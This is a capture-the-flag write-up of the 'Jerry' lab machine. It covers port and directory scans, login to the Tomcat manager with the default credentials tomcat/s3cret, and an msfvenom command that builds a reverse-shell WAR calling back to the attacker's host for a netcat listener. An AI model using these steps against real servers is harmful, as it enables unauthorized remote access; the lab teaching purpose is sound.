✅Jerry (Easy)
Lesson Learn
Report-Penetration
Vulnerable Exploit: Default Credential
System Vulnerable: 10.10.10.95
Vulnerability Explanation: The machine is misconfigured on set the default credential which could allow us to login and deploy reverse shell payload and gain access on the machine.
Privilege Escalation Vulnerability: N/A
Vulnerability Fix: Be aware of Default Credentials and Least privilege User.
Severity: Critical
Step to Compromise the Host:
Reconnaissance
└─$ nmap -p- -sC -sV -T4 10.10.10.95 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-21 05:19 EST
Stats: 0:00:53 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Nmap scan report for 10.10.10.95
Host is up (0.042s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88Enumeration
Port 8080 Apache-Coyote/1.1
by going through port 8080, we see a Tomcat webpage.
Let find hidden directory with gobuster.
└─$ gobuster dir -u http://10.10.10.95:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.95:8080
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/21 05:24:44 Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/manager (Status: 302) [Size: 0] [--> /manager/]
===============================================================
2021/11/21 05:27:58 Finished
===============================================================On /manager, it requires username and password to login. By searching on google, we can see a list of credentials and we can try all of them.
We found a valid one is tomcat / s3cret.
Exploitation
On the application, we found we could upload file to deploy it which we could generate reverse shell and upload to the application.
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.31 LPORT=4444 -f war > shell.war 1 ⨯
Payload size: 1082 bytes
Final size of war file: 1082 bytes
Let start our netcat listener on port 4444 and execute the shell.
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